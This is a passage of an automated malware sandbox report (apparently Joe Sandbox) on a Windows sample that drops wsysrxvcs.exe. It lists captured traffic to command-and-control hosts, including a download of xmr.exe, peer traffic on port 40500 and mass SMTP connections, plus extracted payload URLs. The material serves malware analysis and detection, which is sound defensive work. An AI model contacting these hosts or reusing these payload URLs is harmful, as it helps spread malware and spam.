00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 69 64 61 74 61 00 00 f0 08 00 00 00 d0 1f 00 00 0a 00 00 00 92 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 68 00 00 00 00 e0 1f 00 00 02 00 00 00 9c 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 f0 1f 00 00 02 00 00 00 9e 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 80 03 00 00 00 00 20 00 00 04 00 00 00 a0 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 8c 00 00 00 00 10 20 00 00 02 00 00 00 a4 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                              Source: global trafficHTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /xmr.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Host: 185.215.113.84
                              Source: global trafficHTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: icanhazip.com
                              Source: global trafficHTTP traffic detected: GET /cock/n.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /cock/529.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: icanhazip.comCookie: __cf_bm=gxzP5XhlvlPLPRW.sAj_vcznct.fljPVg6TsbJ0lOpo-1679409483-0-ASuLIaVVOrzugHiXEd0FIaKruF9rpRjxQU4VLsoINgrq6xQ/+3lwdwqGCw4/IUXGEodyWU0GFymzlQc8QecFq2k=
                              Source: global trafficHTTP traffic detected: GET /cawkz/n.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /cawkz/1342.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66If-Modified-Since: Tue, 21 Mar 2023 07:29:04 GMTIf-None-Match: "64195cc0-13500"
                              Source: global trafficHTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: Joe Sandbox ViewIP Address: 207.211.30.221 207.211.30.221
                              Source: Joe Sandbox ViewIP Address: 104.47.2.33 104.47.2.33
                              Source: unknownNetwork traffic detected: DNS query count 1860
                              Source: global trafficTCP traffic: 192.168.2.5:49698 -> 2.180.17.238:40500
                              Source: global trafficTCP traffic: 192.168.2.5:49787 -> 100.89.199.14:40500
                              Source: global trafficTCP traffic: 192.168.2.5:50142 -> 80.250.205.174:40500
                              Source: global trafficTCP traffic: 192.168.2.5:50522 -> 206.1.207.221:40500
                              Source: global trafficTCP traffic: 192.168.2.5:50830 -> 185.215.113.84:5151
                              Source: global trafficTCP traffic: 192.168.2.5:50880 -> 147.30.31.203:40500
                              Source: global trafficUDP traffic: 192.168.2.5:56896 -> 95.188.189.192:40500
                              Source: global trafficUDP traffic: 192.168.2.5:56896 -> 147.30.24.170:40500
                              Source: global trafficUDP traffic: 192.168.2.5:56896 -> 188.209.234.120:40500
                              Source: global trafficUDP traffic: 192.168.2.5:56896 -> 80.69.180.100:40500
                              Source: global trafficUDP traffic: 192.168.2.5:56896 -> 124.13.116.45:40500
                              Source: global trafficUDP traffic: 192.168.2.5:56896 -> 147.235.96.72:40500
                              Source: global trafficUDP traffic: 192.168.2.5:56896 -> 5.251.83.53:40500
                              Source: global trafficUDP traffic: 192.168.2.5:56896 -> 213.246.20.232:40500
                              Source: global trafficUDP traffic: 192.168.2.5:56896 -> 113.197.51.164:40500
                              Source: global trafficUDP traffic: 192.168.2.5:56896 -> 109.228.205.235:40500
                              Source: global trafficUDP traffic: 192.168.2.5:56896 -> 5.235.160.80:40500
                              Source: global trafficUDP traffic: 192.168.2.5:56896 -> 5.143.5.241:40500
                              Source: global trafficUDP traffic: 192.168.2.5:56896 -> 5.53.36.92:40500
                              Source: global trafficUDP traffic: 192.168.2.5:56896 -> 2.180.17.91:40500
                              Source: global trafficUDP traffic: 192.168.2.5:56896 -> 39.32.141.244:40500
                              Source: global trafficUDP traffic: 192.168.2.5:56896 -> 103.253.158.10:40500
                              Source: global trafficUDP traffic: 192.168.2.5:56896 -> 195.158.22.11:40500
                              Source: global trafficUDP traffic: 192.168.2.5:56896 -> 212.112.97.125:40500
                              Source: unknownNetwork traffic detected: IP country count 25
                              Source: global trafficTCP traffic: 192.168.2.5:49701 -> 217.69.139.150:25
                              Source: global trafficTCP traffic: 192.168.2.5:49706 -> 74.125.200.26:25
                              Source: global trafficTCP traffic: 192.168.2.5:49709 -> 142.250.150.27:25
                              Source: global trafficTCP traffic: 192.168.2.5:49710 -> 98.136.96.75:25
                              Source: global trafficTCP traffic: 192.168.2.5:49711 -> 104.47.13.33:25
                              Source: global trafficTCP traffic: 192.168.2.5:49713 -> 142.251.31.26:25
                              Source: global trafficTCP traffic: 192.168.2.5:49722 -> 173.194.202.27:25
                              Source: global trafficTCP traffic: 192.168.2.5:49724 -> 173.194.202.26:25
                              Source: global trafficTCP traffic: 192.168.2.5:49726 -> 67.195.228.110:25
                              Source: global trafficTCP traffic: 192.168.2.5:49728 -> 142.251.31.27:25
                              Source: global trafficTCP traffic: 192.168.2.5:49732 -> 104.47.18.225:25
                              Source: global trafficTCP traffic: 192.168.2.5:49733 -> 142.250.150.26:25
                              Source: global trafficTCP traffic: 192.168.2.5:49734 -> 159.196.11.32:25
                              Source: global trafficTCP traffic: 192.168.2.5:49736 -> 104.47.11.225:25
                              Source: global trafficTCP traffic: 192.168.2.5:49737 -> 142.250.157.27:25
                              Source: global trafficTCP traffic: 192.168.2.5:49740 -> 67.195.204.79:25
                              Source: global trafficTCP traffic: 192.168.2.5:49742 -> 67.195.204.77:25
                              Source: global trafficTCP traffic: 192.168.2.5:49754 -> 67.195.228.109:25
                              Source: global trafficTCP traffic: 192.168.2.5:49755 -> 74.125.200.27:25
                              Source: global trafficTCP traffic: 192.168.2.5:49766 -> 67.195.204.72:25
                              Source: global trafficTCP traffic: 192.168.2.5:49770 -> 212.227.15.9:25
                              Source: global trafficTCP traffic: 192.168.2.5:49780 -> 195.170.168.138:25
                              Source: global trafficTCP traffic: 192.168.2.5:49781 -> 176.119.200.129:25
                              Source: global trafficTCP traffic: 192.168.2.5:49782 -> 104.47.17.97:25
                              Source: global trafficTCP traffic: 192.168.2.5:49798 -> 143.244.202.96:25
                              Source: global trafficTCP traffic: 192.168.2.5:49802 -> 194.153.145.205:25
                              Source: global trafficTCP traffic: 192.168.2.5:49813 -> 67.195.204.73:25
                              Source: global trafficTCP traffic: 192.168.2.5:49828 -> 106.10.248.73:25
                              Source: global trafficTCP traffic: 192.168.2.5:49833 -> 104.47.17.161:25
                              Source: global trafficTCP traffic: 192.168.2.5:49837 -> 17.42.251.62:25
                              Source: global trafficTCP traffic: 192.168.2.5:49843 -> 104.47.55.33:25
                              Source: global trafficTCP traffic: 192.168.2.5:49849 -> 67.195.228.94:25
                              Source: global trafficTCP traffic: 192.168.2.5:49852 -> 77.88.21.249:25
                              Source: global trafficTCP traffic: 192.168.2.5:49863 -> 104.47.22.161:25
                              Source: global trafficTCP traffic: 192.168.2.5:49875 -> 104.47.58.161:25
                              Source: global trafficTCP traffic: 192.168.2.5:49877 -> 67.195.228.111:25
                              Source: global trafficTCP traffic: 192.168.2.5:49883 -> 193.222.135.150:25
                              Source: global trafficTCP traffic: 192.168.2.5:49888 -> 104.47.11.97:25
                              Source: global trafficTCP traffic: 192.168.2.5:49892 -> 98.136.96.93:25
                              Source: global trafficTCP traffic: 192.168.2.5:49900 -> 153.127.39.22:25
                              Source: global trafficTCP traffic: 192.168.2.5:49905 -> 98.136.96.74:25
                              Source: global trafficTCP traffic: 192.168.2.5:49936 -> 144.217.66.117:25
                              Source: global trafficTCP traffic: 192.168.2.5:49938 -> 67.195.204.80:25
                              Source: global trafficTCP traffic: 192.168.2.5:49946 -> 98.136.96.91:25
                              Source: global trafficTCP traffic: 192.168.2.5:49958 -> 81.4.103.102:25
                              Source: global trafficTCP traffic: 192.168.2.5:49969 -> 212.227.17.8:25
                              Source: global trafficTCP traffic: 192.168.2.5:49977 -> 67.195.228.84:25
                              Source: global trafficTCP traffic: 192.168.2.5:49995 -> 104.47.73.161:25
                              Source: global trafficTCP traffic: 192.168.2.5:50000 -> 104.47.57.161:25
                              Source: global trafficTCP traffic: 192.168.2.5:50003 -> 142.250.157.26:25
                              Source: global trafficTCP traffic: 192.168.2.5:50012 -> 77.75.77.42:25
                              Source: global trafficTCP traffic: 192.168.2.5:50023 -> 144.160.235.143:25
                              Source: global trafficTCP traffic: 192.168.2.5:50030 -> 66.115.170.98:25
                              Source: global trafficTCP traffic: 192.168.2.5:50031 -> 212.227.17.5:25
                              Source: global trafficTCP traffic: 192.168.2.5:50042 -> 173.230.139.246:25
                              Source: global trafficTCP traffic: 192.168.2.5:50109 -> 93.88.75.67:25
                              Source: global trafficTCP traffic: 192.168.2.5:50115 -> 125.209.238.137:25
                              Source: global trafficTCP traffic: 192.168.2.5:50129 -> 5.161.98.212:25
                              Source: global trafficTCP traffic: 192.168.2.5:50162 -> 104.47.14.33:25
                              Source: global trafficTCP traffic: 192.168.2.5:50170 -> 162.62.116.184:25
                              Source: global trafficTCP traffic: 192.168.2.5:50200 -> 49.12.18.190:25
                              Source: global trafficTCP traffic: 192.168.2.5:50235 -> 164.90.197.143:25
                              Source: global trafficTCP traffic: 192.168.2.5:50238 -> 104.47.58.33:25
                              Source: global trafficTCP traffic: 192.168.2.5:50261 -> 67.195.204.74:25
                              Source: global trafficTCP traffic: 192.168.2.5:50271 -> 104.47.70.33:25
                              Source: global trafficTCP traffic: 192.168.2.5:50272 -> 103.129.252.84:25
                              Source: global trafficTCP traffic: 192.168.2.5:50275 -> 94.100.180.31:25
                              Source: global trafficTCP traffic: 192.168.2.5:50294 -> 74.208.5.3:25
                              Source: global trafficTCP traffic: 192.168.2.5:50324 -> 62.142.5.236:25
                              Source: global trafficTCP traffic: 192.168.2.5:50348 -> 217.70.178.216:25
                              Source: global trafficTCP traffic: 192.168.2.5:50358 -> 80.12.26.32:25
                              Source: global trafficTCP traffic: 192.168.2.5:50375 -> 178.62.199.248:25
                              Source: global trafficTCP traffic: 192.168.2.5:50402 -> 67.195.204.75:25
                              Source: global trafficTCP traffic: 192.168.2.5:50405 -> 213.209.1.129:25
                              Source: global trafficTCP traffic: 192.168.2.5:50430 -> 98.136.96.76:25
                              Source: global trafficTCP traffic: 192.168.2.5:50438 -> 106.10.248.74:25
                              Source: global trafficTCP traffic: 192.168.2.5:50439 -> 104.47.73.33:25
                              Source: global trafficTCP traffic: 192.168.2.5:50442 -> 103.129.252.82:25
                              Source: global trafficTCP traffic: 192.168.2.5:50447 -> 104.47.51.33:25
                              Source: global trafficTCP traffic: 192.168.2.5:50471 -> 165.227.156.49:25
                              Source: global trafficTCP traffic: 192.168.2.5:50542 -> 203.42.22.10:25
                              Source: global trafficTCP traffic: 192.168.2.5:50549 -> 104.47.56.161:25
                              Source: global trafficTCP traffic: 192.168.2.5:50574 -> 194.153.145.204:25
                              Source: global trafficTCP traffic: 192.168.2.5:50576 -> 81.19.78.69:25
                              Source: global trafficTCP traffic: 192.168.2.5:50585 -> 104.47.11.33:25
                              Source: global trafficTCP traffic: 192.168.2.5:50591 -> 35.214.154.213:25
                              Source: global trafficTCP traffic: 192.168.2.5:50646 -> 81.3.6.162:25
                              Source: global trafficTCP traffic: 192.168.2.5:50650 -> 142.93.233.86:25
                              Source: global trafficTCP traffic: 192.168.2.5:50658 -> 207.211.30.221:25
                              Source: global trafficTCP traffic: 192.168.2.5:50671 -> 108.177.119.27:25
                              Source: global trafficTCP traffic: 192.168.2.5:50700 -> 212.227.15.17:25
                              Source: global trafficTCP traffic: 192.168.2.5:50716 -> 203.205.219.58:25
                              Source: global trafficTCP traffic: 192.168.2.5:50723 -> 217.10.8.21:25
                              Source: global trafficTCP traffic: 192.168.2.5:50741 -> 104.47.55.161:25
                              Source: global trafficTCP traffic: 192.168.2.5:50749 -> 104.47.59.161:25
                              Source: global trafficTCP traffic: 192.168.2.5:50758 -> 59.17.181.12:25
                              Source: global trafficTCP traffic: 192.168.2.5:50761 -> 203.205.219.57:25
                              Source: global trafficTCP traffic: 192.168.2.5:50782 -> 188.125.72.73:25
                              Source: global trafficTCP traffic: 192.168.2.5:50783 -> 147.182.160.18:25
                              Source: global trafficTCP traffic: 192.168.2.5:50794 -> 188.125.72.74:25
                              Source: global trafficTCP traffic: 192.168.2.5:50808 -> 144.160.159.22:25
                              Source: global trafficTCP traffic: 192.168.2.5:50815 -> 147.182.189.184:25
                              Source: global trafficTCP traffic: 192.168.2.5:50890 -> 104.47.1.33:25
                              Source: global trafficTCP traffic: 192.168.2.5:50925 -> 165.227.159.144:25
                              Source: global trafficTCP traffic: 192.168.2.5:50962 -> 185.205.70.129:25
                              Source: global trafficTCP traffic: 192.168.2.5:50965 -> 104.47.2.33:25
                              Source: global trafficTCP traffic: 192.168.2.5:50967 -> 104.47.66.33:25
                              Source: wsysrxvcs.exe, wsysrxvcs.exe, 00000002.00000000.330154283.0000000000413000.00000008.00000001.01000000.00000004.sdmp, 587025894.exe, 00000009.00000000.394317744.0000000000413000.00000008.00000001.01000000.0000000D.sdmp, file.exeString found in binary or memory: http://185.215.113.66/
                              Source: wsysrxvcs.exe, 00000001.00000002.634353053.00000000030A0000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325398186.000000000309A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/1
                              Source: wsysrxvcs.exe, 00000001.00000002.633098894.00000000006B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/1%
                              Source: wsysrxvcs.exe, 00000001.00000003.382643148.00000000030B6000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.324970368.00000000030B3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/1.dll
                              Source: wsysrxvcs.exe, 00000001.00000003.325736311.000000000309E000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325457406.0000000003098000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325398186.000000000309A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/13
                              Source: wsysrxvcs.exe, 00000001.00000003.325736311.000000000309E000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325457406.0000000003098000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325398186.000000000309A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/17
                              Source: wsysrxvcs.exe, 00000001.00000003.325736311.000000000309E000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325457406.0000000003098000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.382801098.00000000030A0000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000002.634353053.00000000030A0000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325398186.000000000309A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/1C:
                              Source: wsysrxvcs.exe, 00000001.00000002.633098894.00000000006B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/1K
                              Source: wsysrxvcs.exe, 00000001.00000003.325012428.00000000006E8000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325132912.00000000006F6000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325647326.00000000006F8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/1KKC:
                              Source: wsysrxvcs.exe, 00000001.00000003.324970368.00000000030B3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/1LMEM0
                              Source: wsysrxvcs.exe, 00000001.00000003.325736311.000000000309E000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325457406.0000000003098000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325398186.000000000309A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/1W
                              Source: wsysrxvcs.exe, 00000001.00000003.325166596.00000000006ED000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325012428.00000000006E8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/1iLMEM8
                              Source: wsysrxvcs.exe, 00000001.00000002.634423292.00000000030B2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/1w
                              Source: wsysrxvcs.exe, 00000001.00000002.634423292.00000000030B2000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000002.633416798.00000000006F8000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000002.634353053.00000000030A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/2
                              Source: wsysrxvcs.exe, 00000001.00000002.634423292.00000000030B2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/26
                              Source: wsysrxvcs.exe, 00000001.00000002.634423292.00000000030B2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/29
                              Source: wsysrxvcs.exe, 00000001.00000002.634423292.00000000030B2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/2O
                              Source: wsysrxvcs.exe, 00000001.00000002.634446713.00000000030B6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/2ystem32
                              Source: wsysrxvcs.exe, 00000001.00000002.633877215.000000000280A000.00000004.00000010.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.382643148.00000000030B2000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000002.633098894.000000000067A000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000002.634446713.00000000030B6000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000002.634423292.00000000030B2000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000002.633098894.00000000006B0000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000002.633416798.00000000006F8000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000002.634353053.00000000030A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/3
                              Source: wsysrxvcs.exe, 00000001.00000002.633098894.00000000006DD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/3(KHTML
                              Source: wsysrxvcs.exe, 00000001.00000002.633098894.000000000067A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/3C:
                              Source: wsysrxvcs.exe, 00000001.00000002.634423292.00000000030B2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/3D
                              Source: wsysrxvcs.exe, 00000001.00000002.633416798.00000000006F8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/3KKC:
                              Source: wsysrxvcs.exe, 00000001.00000002.634446713.00000000030B6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/3LMEM0
                              Source: wsysrxvcs.exe, 00000001.00000002.634423292.00000000030B2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/3h
                              Source: wsysrxvcs.exe, 00000001.00000002.634446713.00000000030B6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/3ystem32
                              Source: wsysrxvcs.exe, 00000001.00000002.634423292.00000000030B2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/3~
                              Source: wsysrxvcs.exe, 00000001.00000003.382643148.00000000030B2000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000002.634423292.00000000030B2000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000002.633416798.00000000006F8000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.382702104.00000000006F8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/4
                              Source: wsysrxvcs.exe, 00000001.00000002.633098894.00000000006DD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/4-stream
                              Source: wsysrxvcs.exe, 00000001.00000002.633098894.00000000006DD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/4Po
                              Source: wsysrxvcs.exe, 00000001.00000003.382801098.00000000030A0000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.382520258.0000000000734000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/5
                              Source: wsysrxvcs.exe, 00000001.00000002.633098894.00000000006DD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/5(KHTML
                              Source: wsysrxvcs.exe, 00000001.00000003.382520258.0000000000734000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/5KKC:
                              Source: wsysrxvcs.exe, 00000001.00000002.634446713.00000000030B6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/5LMEM0
                              Source: wsysrxvcs.exe, 00000001.00000003.382643148.00000000030B6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/5LMEM0PNhQ
                              Source: wsysrxvcs.exe, 00000001.00000003.382643148.00000000030B2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/5Z
                              Source: wsysrxvcs.exe, 00000001.00000003.382643148.00000000030B2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/5h
                              Source: file.exeString found in binary or memory: http://185.215.113.66/9998883922wsysrxvcs.exeWindows
                              Source: wsysrxvcs.exe, 00000001.00000003.382643148.00000000030B2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/D
                              Source: 75601095.exe, 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpString found in binary or memory: http://185.215.113.66/cawkz/
                              Source: 75601095.exe, 00000008.00000003.381585829.00000000016AD000.00000004.00000020.00020000.00000000.sdmp, 75601095.exe, 00000008.00000002.634235803.00000000038A9000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/cawkz/1342.txt
                              Source: 75601095.exe, 00000008.00000003.381585829.00000000016AD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/cawkz/1342.txt.
                              Source: 75601095.exe, 00000008.00000003.381585829.00000000016AD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/cawkz/1342.txt4
                              Source: 75601095.exe, 00000008.00000002.633161656.000000000165A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/cawkz/1342.txt8
                              Source: 75601095.exe, 00000008.00000002.633161656.000000000165A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/cawkz/1342.txtO
                              Source: 75601095.exe, 00000008.00000002.634235803.00000000038A9000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/cawkz/http://185.215.113.66/cawkz/n.txt
                              Source: 75601095.exe, 00000008.00000002.633161656.000000000165A000.00000004.00000020.00020000.00000000.sdmp, 75601095.exe, 00000008.00000003.381585829.00000000016AD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/cawkz/n.txt
                              Source: 75601095.exe, 00000008.00000002.633161656.000000000165A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/cawkz/n.txtV
